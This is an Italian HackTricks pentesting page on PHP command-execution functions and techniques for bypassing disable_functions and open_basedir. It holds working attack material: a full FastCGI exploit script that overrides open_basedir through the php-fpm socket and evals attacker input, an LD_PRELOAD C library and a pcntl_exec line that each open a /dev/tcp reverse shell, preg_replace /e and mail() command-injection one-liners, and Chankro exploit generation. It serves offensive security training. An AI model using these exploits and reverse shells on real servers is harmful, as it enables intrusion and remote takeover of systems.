PHP - Useful Functions & disable_functions/open_basedir bypass

Impara e pratica il Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.

Esecuzione di Comandi e Codice PHP

Esecuzione di Comandi PHP

Nota: Un p0wny-shell php webshell può automaticamente controllare e bypassare la seguente funzione se alcune di esse sono disabilitate.

exec - Restituisce l'ultima riga dell'output dei comandi

echo exec("uname  -a");

passthru - Passa l'output dei comandi direttamente al browser

echo passthru("uname -a");

system - Passa l'output dei comandi direttamente al browser e restituisce l'ultima riga

echo system("uname -a");

shell_exec - Restituisce l'output dei comandi

echo shell_exec("uname -a");

`` (backticks) - Stesso di shell_exec()

echo `uname -a`

popen - Apre un pipe di lettura o scrittura a un processo di un comando

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Simile a popen() ma con un maggiore controllo

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Esegue un programma (per impostazione predefinita, nelle versioni moderne e non così moderne di PHP, è necessario caricare il modulo pcntl.so per utilizzare questa funzione)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Questa funzione viene utilizzata per inviare email, ma può anche essere abusata per iniettare comandi arbitrari all'interno del parametro $options. Questo perché la funzione mail di php di solito chiama il binario sendmail all'interno del sistema e ti consente di inserire opzioni extra. Tuttavia, non sarai in grado di vedere l'output del comando eseguito, quindi è consigliato creare uno script shell che scrive l'output in un file, eseguirlo utilizzando mail e stampare l'output:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Questa funzione può essere utilizzata per caricare dinamicamente un'estensione PHP. Questa funzione non sarà sempre presente, quindi dovresti controllare se è disponibile prima di provare a sfruttarla. Leggi questa pagina per imparare a sfruttare questa funzione.

Esecuzione di Codice PHP

Oltre a eval, ci sono altri modi per eseguire codice PHP: include/require possono essere utilizzati per l'esecuzione remota di codice sotto forma di vulnerabilità Local File Include e Remote File Include.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Le funzioni disabilitate è l'impostazione che può essere configurata nei file .ini in PHP che vietano l'uso delle funzioni indicate. Open basedir è l'impostazione che indica a PHP la cartella a cui può accedere. L'impostazione PHP deve essere configurata nel percorso /etc/php7/conf.d o simile.

Entrambe le configurazioni possono essere viste nell'output di phpinfo():

open_basedir Bypass

open_basedir configurerà le cartelle a cui PHP può accedere, non sarai in grado di scrivere/leggere/eseguire alcun file al di fuori di quelle cartelle, ma non sarai nemmeno in grado di elencare altre directory. Tuttavia, se in qualche modo riesci a eseguire codice PHP arbitrario, puoi provare il seguente blocco di codice per cercare di bypassare la restrizione.

Elencare le directory con il bypass glob://

In questo primo esempio viene utilizzato il protocollo glob:// con un bypass di percorso:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Nota1: Nel percorso puoi anche usare /e??/* per elencare /etc/* e qualsiasi altra cartella. Nota2: Sembra che parte del codice sia duplicata, ma in realtà è necessario! Nota3: Questo esempio è utile solo per elencare le cartelle, non per leggere i file.

Bypass completo di open_basedir abusando di FastCGI

Se vuoi saperne di più su PHP-FPM e FastCGI puoi leggere la prima sezione di questa pagina. Se php-fpm è configurato, puoi abusarne per bypassare completamente open_basedir:

Nota che la prima cosa che devi fare è trovare dove si trova il socket unix di php-fpm. Di solito si trova sotto /var/run, quindi puoi usare il codice precedente per elencare la directory e trovarlo. Codice da qui.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <[e-mail]>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Questo script comunicherà con il socket unix di php-fpm (di solito situato in /var/run se viene utilizzato fpm) per eseguire codice arbitrario. Le impostazioni di open_basedir verranno sovrascritte dall'attributo PHP_VALUE che viene inviato. Nota come eval viene utilizzato per eseguire il codice PHP che invii all'interno del parametro cmd. Nota anche la linea commentata 324, puoi decommentarla e il payload si connetterà automaticamente all'URL fornito ed eseguirà il codice PHP contenuto lì. Accedi semplicemente a http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); per ottenere il contenuto del file /etc/passwd.

Potresti pensare che proprio come abbiamo sovrascritto la configurazione di open_basedir, possiamo sovrascrivere disable_functions. Bene, prova, ma non funzionerà, apparentemente disable_functions può essere configurato solo in un file di configurazione .ini di php e le modifiche che esegui utilizzando PHP_VALUE non avranno effetto su questa impostazione specifica.

Bypass di disable_functions

Se riesci a far eseguire codice PHP all'interno di una macchina, probabilmente vorrai passare al livello successivo e eseguire comandi di sistema arbitrari. In questa situazione è comune scoprire che la maggior parte o tutte le funzioni PHP che consentono di eseguire comandi di sistema sono state disabilitate in disable_functions. Quindi, vediamo come puoi aggirare questa restrizione (se puoi)

Scoperta automatica del bypass

Puoi utilizzare lo strumento https://github.com/teambi0s/dfunc-bypasser e ti indicherà quale funzione (se presente) puoi utilizzare per bypassare disable_functions.

Bypass utilizzando altre funzioni di sistema

Torna all'inizio di questa pagina e controlla se una delle funzioni di esecuzione dei comandi non è disabilitata e disponibile nell'ambiente. Se ne trovi solo 1, sarai in grado di usarla per eseguire comandi di sistema arbitrari.

Bypass LD_PRELOAD

È ben noto che alcune funzioni in PHP come mail() andranno a eseguire binari all'interno del sistema. Pertanto, puoi abusarne utilizzando la variabile di ambiente LD_PRELOAD per farle caricare una libreria arbitraria che può eseguire qualsiasi cosa.

Funzioni che possono essere utilizzate per bypassare disable_functions con LD_PRELOAD

• mail

• mb_send_mail: Efficace quando il modulo php-mbstring è installato.

• imap_mail: Funziona se il modulo php-imap è presente.

• libvirt_connect: Richiede il modulo php-libvirt-php.

• gnupg_init: Utilizzabile con il modulo php-gnupg installato.

• new imagick(): Questa classe può essere abusata per aggirare le restrizioni. Tecniche di sfruttamento dettagliate possono essere trovate in un esaustivo writeup qui.

Puoi trovare qui lo script di fuzzing che è stato utilizzato per trovare queste funzioni.

Ecco una libreria che puoi compilare per abusare della variabile di ambiente LD_PRELOAD:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Bypass usando Chankro

Per abusare di questa misconfigurazione puoi Chankro. Questo è uno strumento che genera un exploit PHP che devi caricare sul server vulnerabile ed eseguirlo (accedendovi tramite web). Chankro scriverà all'interno del disco della vittima la libreria e la reverse shell che desideri eseguire e utilizzerà il**LD_PRELOAD trick + la funzione PHP mail()** per eseguire la reverse shell.

Nota che per utilizzare Chankro, mail e putenv non possono apparire all'interno della lista disable_functions. Nell'esempio seguente puoi vedere come creare un exploit chankro per arch 64, che eseguirà whoami e salverà l'output in /tmp/chankro_shell.out, chankro scriverà la libreria e il payload in /tmp e il final exploit sarà chiamato bicho.php (questo è il file che devi caricare sul server della vittima):

shell.sh

#!/bin/sh
whoami > /tmp/chankro_shell.out

Chankro

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

Se scopri che la funzione mail è bloccata da funzioni disabilitate, potresti comunque essere in grado di utilizzare la funzione mb_send_mail. Ulteriori informazioni su questa tecnica e Chankro qui: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Bypass" utilizzando le capacità di PHP

Nota che utilizzando PHP puoi leggere e scrivere file, creare directory e cambiare permessi. Puoi persino dumpare database. Forse utilizzando PHP per enumerare la macchina puoi trovare un modo per elevare i privilegi/eseguire comandi (ad esempio leggendo alcune chiavi ssh private).

Ho creato un webshell che rende molto facile eseguire queste azioni (nota che la maggior parte dei webshell ti offrirà anche queste opzioni): https://github.com/carlospolop/phpwebshelllimited

Bypass dipendenti da moduli/versioni

Ci sono diversi modi per bypassare disable_functions se viene utilizzato un modulo specifico o sfruttare una versione specifica di PHP:

• FastCGI/PHP-FPM (FastCGI Process Manager)

• Bypass con FFI - Foreign Function Interface abilitato

• Bypass via mem

• mod_cgi

• PHP Perl Extension Safe_mode

• dl function

• Questo exploit

• 5.* - sfruttabile con piccole modifiche al PoC

• 7.0 - tutte le versioni fino ad oggi

• 7.1 - tutte le versioni fino ad oggi

• 7.2 - tutte le versioni fino ad oggi

• 7.3 - tutte le versioni fino ad oggi

• 7.4 - tutte le versioni fino ad oggi

• 8.0 - tutte le versioni fino ad oggi

• Da 7.0 a 8.0 exploit (solo Unix)

• PHP 7.0=7.4 (*nix)

• Imagick 3.3.0 PHP >= 5.4

• PHP 5.x Shellsock

• PHP 5.2.4 ionCube

• PHP <= 5.2.9 Windows

• PHP 5.2.4/5.2.5 cURL

• PHP 5.2.3 -Win32std

• PHP 5.2 FOpen exploit

• PHP 4 >= 4.2.-, PHP 5 pcntl_exec

Strumento Automatico

Il seguente script prova alcuni dei metodi commentati qui: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Altre funzioni PHP interessanti

Elenco di funzioni che accettano callback

Queste funzioni accettano un parametro stringa che potrebbe essere utilizzato per chiamare una funzione a scelta dell'attaccante. A seconda della funzione, l'attaccante potrebbe o meno avere la possibilità di passare un parametro. In tal caso, una funzione di divulgazione delle informazioni come phpinfo() potrebbe essere utilizzata.

Callbacks / Callables

Elenco seguente da qui

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Informazioni sulla divulgazione

La maggior parte di queste chiamate di funzione non sono sink. Ma potrebbe essere una vulnerabilità se uno qualsiasi dei dati restituiti è visibile a un attaccante. Se un attaccante può vedere phpinfo(), è sicuramente una vulnerabilità.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Altro

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Funzioni del filesystem

Secondo RATS, tutte le funzioni del filesystem in php sono pericolose. Alcune di queste non sembrano molto utili per l'attaccante. Altre sono più utili di quanto si possa pensare. Ad esempio, se allow_url_fopen=On, allora un URL può essere utilizzato come percorso di un file, quindi una chiamata a copy($_GET['s'], $_GET['d']); può essere utilizzata per caricare uno script PHP ovunque nel sistema. Inoltre, se un sito è vulnerabile a una richiesta inviata tramite GET, ognuna di quelle funzioni del filesystem può essere abusata per canalizzare un attacco a un altro host attraverso il tuo server.

Gestore del filesystem aperto

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Scrivere nel filesystem (parzialmente in combinazione con la lettura)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Leggi dal filesystem

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.